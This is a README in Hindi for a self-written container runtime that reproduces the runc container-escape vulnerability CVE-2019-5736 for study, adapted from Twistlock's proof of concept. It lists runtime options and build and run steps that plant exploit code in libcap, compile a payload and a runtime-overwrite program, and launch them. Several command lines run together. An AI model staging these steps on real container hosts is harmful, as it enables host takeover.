
CVE-2019-5736 को एक स्व-लिखित कंटेनर रनटाइम में लागू किया गया ताकि एक्सप्लॉइट को समझा जा सके।
CVE-2019-5736 को एक उथले, स्व-लिखित कंटेनर रनटाइम का उपयोग करके कार्यान्वित किया गया ताकि शोषण को समझा जा सके।
शोषण twistlock द्वारा runc-poc पर आधारित है (और लगभग पूरी तरह से कॉपी किया गया है): https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
अधिक विवरण के लिए कोड दस्तावेज़ देखें।
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
यूज़र ns को छोड़कर सभी नेमस्पेस को अनशेयर करता है। यूज़र ns को विशेष परिस्थितियों में अनशेयर किया जाता है, अर्थात जब urange, grange, और/या निर्दिष्ट किए जाते हैं।
uidgidइसे Ubuntu 18.04 पर परीक्षण और किया गया।
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>makelibcap.so से आसानी से लिंक कर सकें
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 फ़ाइल को उपयुक्त rootfs निर्देशिका में कॉपी करें
-sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
ldd quarantinesudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.cउदाहरण के लिए: sudo ./quarantine --rootfs rootfs /shebang_exploit या ./quarantine --rootfs rootfs --uid 1 /shebang_exploit।
यह तब तक काम करता है जब तक आप होस्ट पर CAP_DAC_OVERRIDE या CAP_SYS_ADMIN रखते हैं, अर्थात sudo का उपयोग करते समय user ns को अनशेयर न करें (क्योंकि इससे पैरेंट ns में caps गिर जाते हैं), या आप होस्ट पर फ़ाइल के मालिक हैं।